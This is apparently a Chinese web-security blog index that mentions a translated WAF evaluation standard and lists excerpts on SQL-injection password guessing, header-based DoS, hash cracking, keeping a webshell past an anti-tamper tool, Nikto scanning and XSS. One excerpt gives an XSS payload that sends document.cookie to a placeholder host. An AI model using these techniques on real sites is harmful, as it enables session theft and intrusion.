WAF防火墙评估标准。

之前我自己将wasc-wafec-v1.0_web应用防火墙评估标准.pdf翻译成中文,并整理成excel方式在公司内部发了下,一直没有公开发出,一来是觉得翻译的还不够好,二来觉得有些地方自己也未领悟深透。今天偶然在网上发现有人也翻译了这个标准,并公布了出来,就直接转载过来,下面为转载内容。

网站安全检测通用方法

一:注入类: access数据库 <1> 首先猜解管理员密码: 手工猜解(当然,如果你有基础,这里就很简单。如果没学过,其实只要记下一些常用的语句就可以了。) 工具猜解。我建议用zwell的穿山甲,也就是pangolin..或者是NBSI。前者猜解速度非常强悍。而猜解的准确率两者都很好。 找出…

server limit dos利用随想

看了墨西哥同学(其实看不懂,刺帮忙翻译的)和刺的文章,不过我们主要关心该技术的利用。 sirdarckcat说,HTTP头的长度,在APACHE等web服务器是有一定的要求的,如果超出一定长度,会产生服务器错误。HTTP头里面,有 cookie,有location,有host。。。如果我们可以控制其…

server limit dos

墨西哥同学周末很郁闷的在宾馆上网,发现youtube被ban了,于是写个了tool解决这个问题。顺带想到了一种利用 google 统计的漏洞,写在这里了 http://sirdarckcat.blogspot.com/2009/04/how-to-use-google-analytics-to-do…

校内网一个跨站漏洞的利用

作者:Flyh4t 校内网在发blog时对插入图片过滤不严格,存在xss漏洞 在发blog时将插入图片URL写为如下代码即可触发: javascript:window.location.href='http://xxxxx/test.php?cookie='+document.cookie

phpass_crack: Simple tool for cracking WordPress hashes

# Trace: 新版本的WordPress和phpbb已经弃用md5,采用phpass加密了(还有其他一些开源WEB程序)。原来DarkC0de上发布了一个phpass.py,是配合字典破解的,这个Phpass_Crack也是。PasswordsPro官方下载的最新版本也已经支持phpass的破解…

天存iGuard防篡改软件简单突破

来源:皇子 InfoGuard,简称iGuard,俗称网页文件防止篡改器,昨天晚上被这个东西弄的头大了,好好研究了下,找到了解决办法,记录一下. 先给出这个东西的效果,随便丢了个webshell进去,没有被杀,服务器上是存在的,但是访问的时候就变成了这个胎蠢样子:

漏洞扫描工具nikto使用心得

#http://www.cirt.net/ 官方网站 # site http://www.feelids.com*/ # Author:swap 简单扫描 目标基本WEB基本配制信息,服务器,PHP解析器等版本信息 perl nkito.pl –h 192.168.0.1 多端口扫描 Perl ni…

基于IE的MIME sniffing功能的跨站点脚本攻击

IE有一个特性,那就是在将一个文件展示给用户之前会首先检查文件的类型,这乍看起来并没什么问题,但实际上这是相当危险的,因为这会允许IE执行图片中的代码,即嵌入在一个图像中的JavaScript代码。引入MIME sniffing功能的初衷是用来弥补Web服务器响应一个图像请求时有可能返回错误的内容类…